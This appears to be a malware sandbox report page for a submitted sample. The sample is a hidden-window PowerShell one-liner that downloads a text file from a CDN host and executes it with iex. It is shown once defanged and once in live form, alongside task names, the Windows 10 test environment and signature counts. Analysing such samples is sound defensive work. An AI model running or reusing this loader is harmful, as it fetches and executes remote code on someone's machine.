hxxp://"PowerShell[.]exe" -W Hidden -command $url = 'hxxps://file-dwnld[.]b-cdn[.]net/saga[.]txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response[.]Content; iex $text

Static task

static1

URLScan task

urlscan1

Behavioral task

behavioral1

Sample

http://"PowerShell.exe" -W Hidden -command $url = 'https://file-dwnld.b-cdn.net/saga.txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text

Resource

win10v2004-20241007-en

discovery execution

windows10-2004-x64

10 signatures

150 seconds

Sharing

General

Malware Config

Signatures

Files